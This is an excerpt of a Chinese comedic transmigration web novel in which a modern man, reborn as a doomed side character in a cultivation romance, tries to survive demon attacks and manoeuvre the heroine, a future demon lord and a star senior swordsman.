《论起点读者在女频修仙文里投资买股》
1. 炮灰剧本
正文终于开始了,齐舒玉深深呼出一口气。
来吧!
就算是言情也没有关系!
哥博览群书,
可怕的很。
【第一章
……
“我不同意!”
少女婀娜多姿地飞奔过去,双手紧紧环住少年,哭腔动人心弦:“薛哥哥伤势这么严重,留他孤身一人在这里,魔族追上来了怎么办!”
唇红齿白的少年周身气质冷峻,听到他们讨论自己的生死去留,连眉头也没皱一下,身上血迹斑驳也不影响他美得像精心雕琢的塑像。
绝色少女含泪抱住他,温暖他,宛若一对苦命鸳鸯的凄美爱情画面,深深刺痛了爱慕她许久的男人,怒火驱使着他大步上前拉开少女,一脚踹向了少年胸膛!
“不要!”
少女哭喊着跪坐在地上,眼睁睁看着鲜血止不住地从少年嘴角溢出,红得刺眼……】
……
达咩。
在女主面前把未来干翻修真界的大魔佬踹吐血,
是炮灰该有的勇气?!
齐舒玉默默把脑子里翻开的小说书合起来。
不知道上辈子犯什么罪,
这辈子把他流放到没写完的女频文里当炮灰。
一名血气方刚的清纯男大,实在是想不通怎么会有八点档言情小说取名叫《龙傲在天》,愣是坚持看了十多章的——
女主多么多么美貌,
这个男人眼神多么多么不对劲,
那个男人行为多么多么不对劲。
等他感觉到不对劲,头一晕,醒来就在书里了。
女主上官玲珑表面身世凄惨但蕴含巨大的金手指。在踏进万人大宗派的坤元剑派大门那一刻,整个门派,加起来50多个师尊都宣布不收徒了!从此成为人人爱护的小师妹。
当她又被测出读者们习以为常的水火双灵根后,宗门大受震撼,直呼‘世间竟有如此女子’,抢着要收她当徒弟,连门派里平常眼睛长在头顶的辅助药修都对她刮目相看。
于是她,上官玲珑——水火双灵根的修者,
在名声赫赫的剑宗里正式开始学医了。
从那天起,女主的优秀不仅被那群搞事业的看到了,也被看上了,看上她的角色里光是男主配置的就有五个。
而和齐舒玉同名同姓的炮灰,出场前就给女主下过那种禁药并且失败了,不管是在哪条频道混的,即便手拿上乘背景,必定活不过十五章。
本来齐舒玉很镇定的在等金手指或者系统激活。
毕竟男频文都是靠炮灰男起号的。
直到大半年过去,他才意识到,除了脑子里破破烂烂、只有封面没有封底的半本《龙傲在天》原文书,自己是摊上真炮灰了。
完了!
他唯一知道的只有女频文里男炮灰存活率很高。
只要——
眼见小师妹一只脚已经跨出去。
齐舒玉脑子里那根弦“嗡”地一声绷紧,态度诚恳地建议道:“那师妹也留下来吧。”
——懂得怎么抱大腿。
“我要留……嗯?”
眼泪要掉不掉的小师妹愣住:“齐师兄刚刚说……?”
“我说,”齐舒玉以为她没听清,又重复了一遍:“回墨君山这事也不能耽误,所以留下来照顾师弟的重任就委托师妹了。”
薛殷,
男主候选人之一。
因为比女主还惨的童年,成为了善良女主上官玲珑在墨君山的重点关注对象。加上他多次破坏‘齐舒玉’的Plan A.V 计划,更加被视为重点眼中钉,明面和暗地里都对他下过不少黑手。
原文说:
【薛殷的心魔暗生。
谁都不知道,日后待他堕入魔道,曾经欺辱过他的人都会瑟瑟发抖地跪在他脚边。
届时他的心肠会变得冷硬至极,世间唯一人能温暖他,融化他。】
齐舒玉黑下脸。
难怪臭傻逼这会儿不说话,
原来在偷偷造心魔!
于是他强忍着牙酸拔高音量,念出早在心中打过一万遍的腹稿:“上官师妹这种温柔懂事又体贴的好姑娘,一定能把人照顾得很好吧!哎呀!是谁那么好福气呀!真是猜不到呢。”
齐舒玉给上官师妹使眼色,但师妹看薛师弟的黏糊劲儿都快拉丝儿了,根本没注意到他。
“可是……”
“可是什么?”齐舒玉当机立断地使用激将法:“你不愿意吗?”
上官玲珑立马上当,眼神慌乱地从薛殷身上收回视线,连连摆手:“不、不是的!我愿意!”
她咬着唇瞟向齐舒玉,睫毛扇得像只蝴蝶,她踮起脚尖,靠近齐舒玉的耳边,不好意思地悄声道:“齐师兄——这回下山,魔族比以往凶残许多。我、我和薛哥哥修为不足,若独我二人留下,恐怕……”
“你别怕。”
齐舒玉胸有成竹地打包票。
这才到第几章就害怕了,还不知道后面有多少好果子吃吧。
他余光落在不远处,身负重伤却仍然站得像根柱子的黑衣少年身上,十分遵守男德地拍了拍上官玲珑的肩膀,把拍回原地站好。
根据小说定律,
薛殷这种浑身没二两肉还能硬和魔族扯上关系的,绝对是“魔族”里的高档货。除了开篇提过一嘴的上古魔神血脉以外,不可能还有其它血脉配得上他。
要知道,目前为止齐舒玉见过的大多数魔族,完全称得上是奥特曼里的翻版怪兽,个个能有两层楼那么高,走起路来地动山摇,还不等被它们踩死就先晕死了,管它们叫魔兽都很正常。
青年眼底划过可惜。
他这么一位在同辈中响当当的炮灰,天天对一个五灵根等于没修为的外门弟子嘘寒问暖,多有面子啊!结果薛殷不知道咋想的,居然不领情。
难道就因为半年前穿过来的时候原身正在揍他吗?
这不是半年多没揍过了么,
不会还记着吧。
“师兄?你在想什么?”
“没什么。”齐舒玉岔开话题,端上一碗心灵鸡汤:“师妹,怕是没用的,相信自己,你一定行!师兄我比任何人都相信你!”
一路相处下来,女主的其他优点没挖掘出来,倒是觉得她特别听话。
遇到危险让她跑就跑,
不回头的跑。
这么听话的女主活到死绝对不成问题。
奈何小师妹没什么文化内涵,喝不来鸡汤,只能肤浅地明白自己被拒绝了,委屈巴巴地咬住下唇。
作为书里的女主,尽管十八岁不到,倾国倾城的容貌却已经显露无疑了。
尤其当她眉头蹙起,
清澈见底的眼眸泛起涟漪时……
齐舒玉:!!!!!
师妹好可怜!
我要留下保护她!
好在他及时李治过来,就算他死了,小师妹都肯定活得好好的,担心她还不如担心担心自己。
“另外,下山前我和大师兄约定过,一旦我们归期有误,他会火速前来支援。照大师兄的御剑能力,这会儿应该快到了。”
墨君山的大师兄。
蝉联五年仙剑大会第一名!
修者见了都说好;魔族见了都喊跑。
深知再过几章他的出场量就会压过薛殷,听说过‘风险对冲’的齐舒玉早早就把秤砣架在他和薛殷之间了,并提前建立了良好友谊。
“大师兄剑术高超百战百胜,且为人古道热肠,外貌也是帅得世间少有,真真正正的人美心善,”齐舒玉冲小师妹陶醉地竖了竖大拇指:“你和薛师弟就放心找个地方躲起来,等着他老人家来吧。”
原文里写的就是:
【……幸而少女冰雪聪明,带着少年找到藏身之处,竟遇到下山同门,两人因此获救。】
反观“齐舒玉”几人,没等离开这片林子就被魔族缠住。
所以,
他再不走就来不及了!
“但是,”
上官玲珑环顾四周,表情犹豫。
“方圆几里全是草木,连山洞都没有,哪来地方藏身?”
“呃,”
齐舒玉睁开眼,搓着下巴与小师妹对视三秒后,笃定道:“这种情况,我相信师妹。”
冰雪聪明的师妹:“…… ”
齐舒玉:……
死丫头哪来的胆子给尊贵的穿越者翻白眼!
“墨君山上下皆知,大师兄平日要事缠身不见踪影,两位师兄在门内似乎也来往不甚密切,齐师兄如何知会大师兄前来相助?”
少年忽然出声。
他左手纤长的食指轻轻敲击着腰间长剑,发出沉闷的“叩叩”声。
“薛师弟不用担心,毕竟我和大师兄都是受门
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派重视的弟子,私下有点你不能参与的来往很正常。其实我跟大师兄关系很好的。”
“听闻当年大师兄离开墨君山前,曾重伤齐师兄,倒不知今日两位师兄关系如此融洽。”
门内一直有传闻。
六年前,众人找到重伤的齐舒玉时,还在他身边发现了手持血剑且神情恍惚的云岁鸿。
齐舒玉的师傅白平飞当时大闹着要掌门将云岁鸿逐出去,可由于云岁鸿一直否认,加上齐舒玉醒来后也并不记得此事,掌门便用了折中的法子。
云岁鸿连夜离开墨君山,
墨君山也对外宣称派他下山磨砺。
当云岁鸿再次归来时,墨君山内基本已经淡忘这件事,全是讨论他如何在修真界名声大噪的。
“薛师弟,谣言嘛——别信。”
齐舒玉叹口气,
苦口婆心以过来人身份劝告他:
“更离谱的我都听过。比如,大师兄当年离开,是因为掌门觉察到他对年幼的薛师弟你,动了不该动的心思…”
六年前的薛殷才十一二岁,身量未开,音色婉转,数不清多少次被误认为是个艳色绝世的美人胚子。
一时间,
方圆十里,静寂无声。
齐舒玉不明所以地回头,身后的便宜师弟们个个神情慌张地堵住了耳朵,被他一看纷纷望天望地,不肯和他对视。
“……”
装什么!
再走两步你们就该贴到老子背上了!
他隐晦地清了清嗓子。
便宜师弟们很是恋恋不舍地退了回去。
“看来传言皆是空穴来风。”
薛殷悠悠道。
齐舒玉疯狂点头表示赞同。
他见薛殷神色无异常,估摸着是接受了和女主留下来的提议,心里松口气,准备速战速决离开这里。
有危险的时候,女主身边最安全。
没有危险的时候,女主会制造危险。
他积极热心道:“师妹,没事的话我们就继续动身赶路了,你快带着薛师弟找个地方……”
“既然大师兄正在来路上,为何齐师兄却急着离开?”
薛殷打断他,声音清冷:“或者,‘大师兄’,只是借口罢了。”
雪肌玉面的少年掀起眼帘。
“若是如此,师弟自知拖累众人,留下也心甘情愿。但师姐…还请齐师兄带她离开。”
转瞬间,
他仿佛变了个人。
眼底结了层化不开的寒冰,冷冷直视着面前莹白如玉的青年,缓缓拔出一截腰间悬挂着的长剑。
齐舒玉大惊失色。
“不是,你也不用自杀吧?!”
少年拔剑的手一顿。
躲在后面看戏的师弟们窸窸窣窣道:
“自杀?这小子真是勇气可嘉。”
“我还以为他为了小师妹要和师兄拼命呢。”
“估计是想留个全尸,免得被魔兽啃得面目全非。”
“还想要全尸,美得他,我可没功夫埋他。”
“我也是这么想的。”
“我也是。”
“我也是。”
“吵什么吵?!待会儿把魔兽引来了都跑不掉!”
齐舒玉回头怒吼一声,
惊起一片飞鸟。
众人沉默。
青年摇头晃脑地叹息着走了两步,不着痕迹地搭上少年的肩,把出鞘半截的剑按回去。
他与薛殷一般高,
直视对方的时候十分方便。
“事到如今,为避免我们彼此误会更深,师兄我也不得不说了。”
“我之所以不敢留下,与咱们大师兄碰面,是因为……因为我怀疑,大师兄他……对我的美色,也许,我是说也许奥,你们没事别乱说……”
“……也许是有点那种想法。”
齐舒玉深吸一口气。
又长长地呼出一口气。
“哦?哪种想法?”
“害,都说了美色!还能有哪种想法?!”
清秀俊美的白皙青年绷着脸扬起下巴,转身啧道:“当然是——”
他抬头望去。
浓云密布的暮色中。
一名白衣修士负手静立于冷杉之尖,神色湛然,宛若初升的明月。
齐舒玉艰难地吞咽一口。
“……嫉、嫉妒呗…”
2. 女主
居高临下的白衣修士虚虚往前一迈。
众人还未看清身影,
他已背着半人高的重剑无声地稳稳落了地。
他身量极高,弟子服将他饱满有力的肌肉包裹得恰到好处,形状完美如神祇的建模,淡淡的小麦色肌肤一看就是会定时定量户外运动的高富帅。
看起来一拳能打死十个齐舒玉。
齐舒玉僵硬地扯开嘴角,展开双臂热情地迎上去:
“哈、哈哈!大师兄!您来就来了,怎么还亲自来?!”
云岁鸿不动声色地挡下他的靠近,退后半步,微笑着好脾气道:“许久不见齐师弟的美色,心中甚是挂念。”
齐舒玉苦兮兮地垮下脸来。
俗话说得好:
三人行,必有火葬场。
他不过是想编个理由远离这危险的爱情漩涡,被抓包了能怪他吗?
“大、大大大、大师兄!”
一声低沉雄厚的金刚吼声响起,将呆若木鸡的弟子们从睡梦中唤醒,疯了似的把云岁鸿团团围住。
云岁鸿是谁?
现任墨君山开门弟子;
未来墨君山掌门不二人选;
蝉联五届仙剑大会第一;
梦想道侣榜榜单前十;
魔族狗头收割机;
……
他现在可是修真界新生派炙手可热的实力idol,行程表必须有且只有——隐匿凡间历练、受命绞杀魔族、躲起来修炼,三种。
和世界上所有idol一样,独闻其声,不见其人。
然而他的粉丝不一样,
他的粉丝修仙。
身体素质,贼好。
电棍都不一定能把他们电晕。
稍不留神,齐舒玉就被二十多个情绪激动的剑修冲得连连倒退,身体控制不住地往后仰去。
他条件反射拽了一把旁边站着的人。
谁知恰好拽的是薛殷。
未来的大魔佬现还徘徊在炼气期边缘,下盘不稳,哪经得住筑基后期的齐舒玉轻轻一扯,清瘦修长的身子直接撞进他怀里,坚硬的鼻骨和齐舒玉嘴巴狠狠地来了个亲密接触。
一道轻不可闻的闷哼被杀猪般的“嗷嗷”声盖了过去。
两人双双落地。
伏在齐舒玉胸膛上的少年反应奇快,眸光一闪,迅速抽出左腰的剑插进泥土里,单手握住剑柄,晃晃悠悠地站了起来。
齐舒玉头脑发懵地躺在地上,双手紧紧捂住嘴,一股腥甜从舌尖涌到舌根,
泪眼朦胧地看着少年像渣男一样决绝走开。
“齐师弟。”
云岁鸿不知何时出现,蹲下来询问道:“可是伤到哪里?”
几名弟子见状,纷纷愧疚地唤了声齐师兄,也要上前查看。白衣剑士背对着他们抬了抬小臂,一群人就被Man在了原地,站在后面大气不敢出。
齐舒玉弯腰坐起来,
睫毛湿漉漉的。
他随意用手背抹了把脸,冲云岁鸿无声地摆摆手。
云岁鸿低吟:“伤到舌头了?”
齐舒玉捧着嘴巴哼唧,
吐舌头让他看。
这样子肯定特别可爱。
云岁鸿伸手:“忍耐片刻,我帮你疗伤。”
他言语温柔绅士,
吓得齐舒玉一骨碌从地上爬起来。
这女频文里的医疗手段全靠女主支撑,云岁鸿能治小伤,但治起人来跟他妈不打麻醉直接缝针一样。
他只是想骗颗丹药,
云岁鸿却是想要他的命!
正要张嘴吐点血严重一下场面,却听少女心痛脆弱易碎地惊呼:“薛哥哥!”
众人顺声看去。
树荫下,几乎与暮色融合的黑衣少年俯身喷了好大口鲜血出来。
齐舒玉眼底一震。
方才还在他身边的云岁鸿已然闪现树下,将手搭在了薛殷的腕上,他比对方足足高出快一个头,愣是衬得身形单薄的少年又多了几分凄惨赢弱。
“薛师弟身上有伤?”
云岁鸿收回指尖,
神情是少见的严肃。
他低头打量薛殷片刻,视线聚焦在某处:“伤在这。”
齐舒玉随后赶来,盯着薛殷不值钱的外门黑色弟子服看了又看,终于注意到他腰部的位置有块痕迹,比其它地方的颜色要深许多。
如果不是大师兄开口,指不定回到墨君山都没人发觉薛师弟腰上有伤。
但既然大师兄说出来了。
就让人觉得,
——薛师弟这个逼装得很成功!
在心中肃然起敬的齐舒玉听见云岁鸿又道:“这伤有些蹊跷,师弟可否褪去上衣,让云某仔细查看。”
薛殷发出阵阵轻咳。
唇色红得不太正常,眼神涣散,虚乏无力的病弱神态和片刻前的冷傲不驯截然不同。
似乎吐了半条命出来。
齐舒玉五官扭成一团,忍痛把顶到嘴边的血水又咽了下去。
他见薛殷双手在衣带上摸索半天也没解开,便冲上官玲珑眨了眨眼,暗示她过去帮帮忙,展现一下温柔小意。
没想到上官玲珑脸一红,
转身走远了。
齐舒玉哽住。
这么害羞是怎么把五个男人都搞到手的?!
望完她远去的背影,回头见云岁鸿还干站着摆谱,齐舒玉只好自己动手三两下替薛殷解了衣带,警告他道:“臭小子识相点,可别到处传我非礼你嗷。”
少年的咳嗽声戛然而止,
如玉的面颊染上薄薄桃色。
几乎是帮少年褪去上衣的同时,齐舒玉手一抖,差点把衣服掉地上。
苍白劲瘦的腰肢上浮现数道清晰的爪痕。
与魔族最近的一次对战,是十天前了。
以剑修的体魄来说,这么长时间,伤口即便没有痊愈,也该结痂了,至少不该淅淅沥沥地流出这种——冒着丝丝黑气的暗红色浓稠液体,离得近了,还能清晰地看到皮肉下有什么东西在挣扎着要出来。
画面过于刺激,齐舒玉浑身起了层密密麻麻的鸡皮疙瘩,他退回去,忍住干呕的冲动,用眼神询问云岁鸿。
“是魔毒。”云岁鸿凝视着伤口道:“虽耽搁了有些时日,可这种毒…理应不该溃烂至此,想必是伤口沾了水,才引得魔气入体。“
啊。
伤口不能沾水这么科学的医疗理论,在这里也适用吗?
齐舒玉心虚地脚尖钻洞。
那水是中午他和几个便宜师弟在河里打水仗,玩疯了,不小心泼到的。
他还纳闷呢,这些天薛殷一直看上去好好的,怎么到了今天傍晚突然又是咳嗽又是吐血的,还以为是剧情强制角色在走任务——毕竟这段剧情就是薛殷重伤,被原身当作累赘抛下,女主上官玲珑不离不弃,两人感情升华。
没想到,
害薛师弟吐血的罪魁祸首竟然是罪魁祸首本人。
可话说回来。
这段时间齐舒玉并没有给魔族对薛殷下手的机会,护得就差给他喂宝宝辅食了,这腰上的伤又是哪里弄来的,难道女频文剧情都这么严谨,不能钻空子吗?
齐舒玉沉默。
还是男频好。
可以想一出是一出。
“魔气入体一事可大可小,我也不敢贸然举动。”
白衣剑士沉吟片刻,
手心一翻,
变戏法似的多了粒丹药。
“这颗丹能暂时帮助师弟抑制魔气,待回墨君山请长辈们查看后,师弟自然能安然无恙。”
“多谢云师兄。”
薛殷接过丹药,头一扬,咽了下去。
没多久,丹药便生效了。
魔气慢慢停止翻滚,伤口也不再继续流血,薛殷的精神肉眼可见好了很多。
云岁鸿将齐舒玉手里的衣服还给他,简单施了个术,清理了一下他身上和衣服上的血渍,叮嘱道:“伤口需敞开。”
薛殷拿过衣服,在腰部位置划了一剑,再次恭敬地道了谢。
齐舒玉偏过头去,在心里大翻白眼。
下山历练的十多天,他明里暗里对薛殷多加照顾,也没见他对自己表现得这么礼貌。
真是欺硬怕钻石的家伙。
“非魔族所伤,这丹药对师弟无济于事。”云岁鸿叹口气:“若师弟实在想要,改天我再向掌门师尊求两颗来。”
齐舒玉欣慰地点点头。
“至于你的伤,虽无大碍,但筑基之身亦难自愈,我帮你罢,”云岁鸿突然捏着他下巴温声劝道:“忍着点便是了。”
云岁鸿说话的时候神色未变,齐舒玉还没反应过来,舌头已经被他用两指夹住。
“唔唔唔唔唔——”
好不容易消退的痛感顿时卷土重来,甚至更加剧烈。
齐舒玉这辈子…不对、上辈子加起来都没流过这么多眼泪:“唔唔唔唔!!!!!!!”
他立刻去掰扯云岁鸿的手。
奈何一个灵台枯竭的筑基,和元婴期的修者相比,实力差距可以灌两个太平洋进去,那只手简直纹丝不动。
心一横,
齐舒玉张嘴用力咬了下去。
“……”
操!
这他妈是人的手吗?!
是块铁吧?!
“好了。”云岁鸿不甚在意地缓缓抽手:“齐师弟,男儿有泪不轻弹。
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”
齐舒玉哀嚎一声:“大师兄,除非我死了,不然你千万千万千万千万——千万不要救我!”
他想了想,哽咽的补充:“尤其是我死得四分五裂的话,你就算不救我,我也不会怪你。”
“莫要胡言乱语,”
云岁鸿正色道:“师兄自会护你周全。”
齐舒玉听得大喜过望。
云岁鸿要是能当上男主,在他手底下混,可比其他男主强多了,毕竟他一看就很会牺牲自己给炮灰挡刀。
这种男主少见的很。
“云师兄,弟子已准备妥当,”
穿好衣服的薛殷上前,冲云岁鸿作了揖,规规矩矩道:“可随时出发。”
云岁鸿对少年略一颔首,再次侧目看向神色平静,但眼泪流得稀里哗啦的青年,
顿了顿。
齐舒玉吸着鼻子点点头,撩起衣摆胡乱擦了两把脸,扯起嗓子大声吆喝上官玲珑回来。
上官玲珑回来一眼就看到了哭过的齐舒玉。
“齐师兄这是怎么了?”
“我没事。”
她显然不信,目光戏很多地在几人脸上徘徊,眼眶逐渐泛红:“那是、是薛哥哥…”
“他也没事!”
齐舒玉急忙打住她的苦情遐想。
上官玲珑哦了声,转而挨过去继续追问齐舒玉在哭什么,齐舒玉总不能告诉她自己一个大男人被痛哭了吧,正想打马虎眼糊弄过去,却听云岁鸿好脾气解释道:“我的疗伤术法不精,是以委屈了齐师弟。”
齐舒玉的眼睛滴溜了一圈。
不说话了。
“大师兄也会有不擅长的么?”
少女清澈的眼眸闪了闪,好奇道:
“我师尊说大师兄道心已通,是千年难得一见的修炼天才,学能举一反三,若不是师兄早就拜于师尊门下,他老人家是一定要争的。”
这话说得很有水平。
可以考公。
因为按照坤元剑派的规矩,历届掌门上位之后,只有他开始收徒,其他师兄弟们才可以收,这要怎么争。
“谬赞。”
云岁鸿谦虚地笑笑:“师妹可是皇甫师叔门下的——上官师妹了。”
少女眼睛一亮:“大师兄知道我?”
“常听皇甫师叔提起,上官师妹天资聪颖,性格纯善。”
上官玲珑生气娇嗔:“师尊才不可能这么说呢!每天既要我修剑,又要学术,还要背医书,有丁点儿差池都要训斥我!从来没对我说过一句好话!”
云岁鸿耐心开解:“严师出高徒,但私下常听师叔对上官师妹赞不绝口。”
“大师兄说真的?”
“师妹拜师不足十年却筑基在即,剑法灵动巧妙,且医术上也颇有造诣——希望日后能向师妹讨教。”
“好呀好呀!”
不学辅助的剑修,不是好女主。
三句话能让五个男人拜倒在她的石榴裙下,上官师妹的设定肯定不能差。
大师兄妙语连珠。
小师妹笑声清脆。
明明剧情开始前没什么交集的两人,眨眼间就聊起来了。
什么是命运。
这就是。
想他大师兄人间跑了不知道几趟,美女还能见少了?结果这样一个英俊帅气耍大剑的修炼天才,人生头一遭主动和女生搭话,日后还愣是为了话没说几句的女主守身如玉,单身一百多年。
惨呐!
同为男人的齐舒玉为大师兄默默拘了把同情泪。
出于私心,
他拉走了薛殷。
要是薛师弟上位,那他更活不到十五章了,当场就得死!
何况弟弟年轻,见一个爱一个的本事还能培养,不像修练到元婴的大师兄,年纪摆在这里,改不过来了。
走到半路,齐舒玉想起什么,正要叮嘱他们两句。
谁知一扭头,
正好看见小师妹一脸炫耀的娇俏模样,手心正发出莹莹光芒。
齐舒玉:“……”
哦豁。
虽然《龙傲在天》这本小说里的人精神状态都不太乐观,但角色创造逻辑还是讲得通的。
之所以医学生女主被师傅逼着学剑,
是因为发现她体内有会召唤魔族的魔蛊啊!
没他帮忙打掩护,但凡上官玲珑在哪里使用灵力,魔族就在哪里现身。
果然,下一秒,
地动山摇。
“又来了!”
师弟们纷纷背靠背站一起,齐刷刷拔出剑,严阵以待。
齐舒玉痛心疾首。
摊上这个不懂事的臭丫头。
大师兄命不好实锤了。
3. 断后
魔族的包围和预料之中来得一样快。
齐舒玉镇定地用眼神示意云岁鸿。
云岁鸿点头。
“那便依齐师弟之意,待我破开路,众人护上官师妹与薛师弟先行离开,剩余交由他善后。”
说罢,如离弦的箭般飞身出去。
齐舒玉目光追随着他,
玫瑰色唇瓣颤颤巍巍地合拢。
不是,大兄弟。
我的意思是,
我先走。
你带他们善后。
他痛苦地捂住脸。
不管是哪里的直男,都不会看人眼色!
指挥完大家到树下躲避,为了防止主角发生幺蛾子,齐舒玉如临大敌地把上官玲珑和薛殷放在了自己身后的一线位置,然后扭头抱着树干往外看云岁鸿打怪。
达到云岁鸿这种程度的剑修,即使不用剑辅助,也至少能在空中单次停留半个多小时了。
他一飞上去就朝远处划了道金光,引得对面激动地仰头长鸣。
那些魔族怪物个头极大,背脊覆盖层薄薄的黑气,眼里没有丝毫生气,从额头到胸前长满奇怪巨大的肉瘤,浑身外壳坚硬发亮,爪牙锋利,上肢短小,下肢庞大。
每走一步皆是六级以上自然灾害,
震得躲树里的弟子们“簌簌”往下掉。
它们身体笨重,动作却异常灵敏。对于新手剑修来说,表面看着杀伤力挺高,实际思考能力低下,血条也薄得很合理,是最常见的魔兽。
无论在哪个非现实世界的地方,这种第一时间出现的怪,都是为了让角色升级练手,或者推动剧情的。
不足为惧。
“薛哥哥,齐师兄都敢在高阶魔族面前胡编乱造了,怎么见了魔兽却还是会发抖呀?”
少女用自以为别人听不到的声音悄声道:
“齐师兄不会是害怕魔兽吧。”
“小孩子懂什么!”齐舒玉睨她,没好气道:“这明明是激动得想冲出去战斗却不得不控制住自己的——颤抖。”
上官玲珑撅嘴。
“安静!”
齐舒玉语速飞快道:“现在我以师兄的身份命令你不许说话不然回墨君山告你顶撞诽谤!”
墨君山阶级地位森严,严格要求尊‘上’,上官玲珑只能气呼呼地住了嘴。
齐舒玉也甩过头。
上官玲珑真是幼稚啊!
角落里隐隐传来少女“薛哥哥也不帮人家说句话”之类娇气的嘟囔。
后面的内容,齐舒玉沉浸在云岁鸿使出的酷炫特效中,充耳不闻。
半空中。
云岁鸿单手缓缓抽出身后被布条严实包裹住的重剑,指尖轻拂,布条一根根地从中间裂开,化为亮晶晶的粉末,消失在风中。
随即,这柄重剑仿佛有了生命般,泛起微微金光。
他松开手,余光偏向哪里,重剑便金光闪闪着飞向哪里,在魔族怪物之间360度自由穿梭,从容得就像在砍菜瓜一样,一砍就把它们砍成几块。
魔族血肉不断掉落,顷刻间化成粘稠的黑色胶状物。
大地滋滋冒烟。
臭气熏天。
齐舒玉捏住鼻子,眼睛眨也不眨。
不买票就能看的真人特效现场诶!
是男人就把公频打在心动上!
五分钟后。
齐舒玉很失望。
大师兄怎么站那里挂机啊?
会的也没几招嘛。
他的剑看起来都比他忙多了。
而且…
“齐师兄,您有没有觉得魔族怪物似乎越来越多了?”
悄无声息凑过来的炮灰师弟们猫在齐舒玉腿边,认真讨论起来。
“以往才见三两只,偶然也不过十几只……”
“说不定每次来的也那么多,是咱们没机会看到呐,”
有个看上去不太聪明的弟子插话道:“这种阵仗齐师兄不都领我们躲着走么?”
“不是躲,”齐舒玉纠正他:“是避免正面冲突。”
“师兄真厉害,能带我们避免正面冲突了这么多魔怪!”
齐舒玉欣慰地拍了拍这名麻子脸师弟的肩膀。
他显然平常鲜少受到同门搭理,受到鼓舞后打开话匣子:“云师兄洗髓成功的近些年来,在修真界大放异彩,墨君山上上下下都对其寄予厚望,熟料一炷香的时间连这点魔怪也解决不了。如此看来——云师兄不行啊。”
“怎么说话的?”
齐舒玉警告他:“这位麻师弟,你要记住,永远不能说一个男人不行,懂不?”
年龄大,没老婆,还不行。
想想都很惨,
说出来还怎么得了?
麻子脸师弟似懂非懂地点点头。
“齐师兄…”另一名师弟唯唯诺诺地开口。
“哎——”
做师兄最麻烦的事情,
就是要时刻应付这些便宜师弟们。
一个两个真是抓住机会找他聊天。他只有一张嘴,哪里说得过那么多人!
话多显得他很没深度的好吗?!
“别聊天了,多看看大师兄精湛的剑法吧!”齐舒玉敷衍道:“平时你们有机会能看到这种登峰造极、行云流水、浑然天成、归然不动、炉火纯青、青青草原、圆圆方方、方方圆圆的逆天剑法吗?”
“不能!”
他斩钉截铁。
“所以,我以师兄的身份命令你们,安静有秩序地观看大师兄打斗场面,要求原地领悟他老人家的剑法,回墨君山后写八百字心得交给我。”
“可是,”那名弟子语无伦次道:“可是,齐师兄……可是上官师妹昏过去了,也要叫她起来领悟剑法吗?”
?????
齐舒玉猛地回头一看。
上官玲珑正冷汗涔涔脸色苍白的倒在薛殷怀里。他眼皮一跳,慌忙上前把上官玲珑搂过来,拍了拍她的脸:“她怎么了?”
连问两声,
薛殷都没丁点反应。
“师兄,他好像被小师妹用符纸定住了。”
最先发现状况的师弟指了指薛殷的背:“我修为不足,拿不下来。”
怀里抱着小师妹的齐舒玉使劲伸长另一只手,在薛殷背上摸寻好一会儿才摸到张薄薄的黄纸片,用力扯了下来,一甩手,纸张在空中被烧成两半。
解除封印的薛殷看向齐舒玉怀里的上官玲珑,抿唇道:“师姐替我治伤,灵力使用过度。”
我靠!
她可是身怀魔蛊的女人!
使用过度到昏迷,那得招来多少魔族?
连云岁鸿一刀砍几十个都没砍完!
原来是单机变联网了啊!
齐舒玉气急败坏道:“她要治你就让她治?你不知道躲吗?你那伤大师兄都不敢动,她能治得好吗?!”
太阳落山。
树林也黑了下来。
身量还未全部长开的瘦弱少年垂下眼,红唇紧闭,恍若误闯夜林的妖魅,一言不发。
模样极其可怜。
齐舒玉瞄到地上的符纸残骸。
哦对。
被定住了。
“算了,”他强迫自己冷静下来,由衷提醒少年:“以后你离师妹,呃、你师姐远点。她胡闹,你不能跟她一起闹。”
你们早恋小情侣闹的哪
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止春心,还有师兄的狗命啊!
薛殷没接话。
气氛有点尴尬。
“咳,”齐舒玉用拳头捂住唇:“那你伤好些了么?”
薛殷没点头也没摇头。
齐舒玉直接上手撩开那片衣服。
不愧是有金手指的女主。
她这么瞎搞八搞的,伤口竟然没有任何变化。
“齐师弟——”
云岁鸿的声音远远从高处传来,却如同近在耳边:
“情况不妙,魔族越来越多,林子里似乎有东西在吸引它们。”
我知道。
是女主这个东西。
“你尽快带弟子们离开这片树林,其余交与我便好。”
说完对方便切断了传音。
齐舒玉心里默默叹气。
“大师兄说的话你们都听见,不用我再重复了吧。”
他弯腰把上官玲珑抱了起来,点了三名师弟去前面开路:“——断后就交给……薛殷你站那么远干嘛?你身上有伤,不用留下。”
薛殷置若罔闻。
逆子!
这种时候齐舒玉也没心思管青春叛逆少年,随他去了。
没走两步,前去探路的师弟悻悻回来禀报:“齐师兄,不好了。附近魔族太多,我们被包围,出不去了。”
齐舒玉稍加思索:“现在谁灵力还可运转?”
众人面面相觑。
“应该是薛师弟,”
看起来不聪明的没头脑师弟自信道:
“下山遇魔族以来,他从未出过手……但是齐师兄,薛师弟那点灵力也等于没有啊。”
没有就没有!
声音那么大干嘛!
这么远的距离,齐舒玉也能看出……
呃,看不出。
薛师弟脸色一直很臭。
他啧声,颠了颠手上的女主,疾步走到队伍末端,不由分说把人塞进薛殷怀里。
薛殷神色一凝。
“记得把她的手绑起来。”齐舒玉从怀里摸出张符,贴在少女外衫上,低声吩咐道:“这是大师兄给的符,只有他能取,一会儿要有什么事你先走,不用管她。”
齐舒玉掏出缝在内衣口袋的小香囊,
嘴里念念有词。
不一会儿。
一把朴实无华的剑,朴实无华地悬在了草地上。
他二话不说踩上去。
目睹全程的少年紧紧绷住下颚,抱着上官玲珑上前,拦在青年面前。
两人相顾。
薛殷眉头狠狠皱在一起:“你……”
齐舒玉反手抵住他头扒拉开。
当你爹我是傻逼吗?!
在危急关头聊天,是炮灰的大忌OK?
他催动灵气裹住长剑,那柄平平无奇的长剑喝醉酒似的,摇摇晃晃驮着他往上升。
**
“卧槽!”
刚从树林里露面的齐舒玉忍不住打了个哆嗦,原本白皙的脸又透明了两个度。
太多了。
真他妈太多了。
跟捅了他们窝一样。
不知云岁鸿做了什么,它们失去理智一样在下面朝他前仆后继,发疯似的攻击他,只余下挤不进去的三瓜两枣在女主附近搜寻,
云岁鸿的身影湮没其中,
唯独见到明亮的金光闪闪烁烁。
没来得及腐化的魔族肉尸堆积如山。
齐舒玉下定决心,收回远远眺望的目光,右手食指与无名指并拢,指尖冒出一簇鬼火般萤绿色光芒,全力朝着那几个魔族的头顶凌空一掷。
……
放了俩五毛钱的烟花。
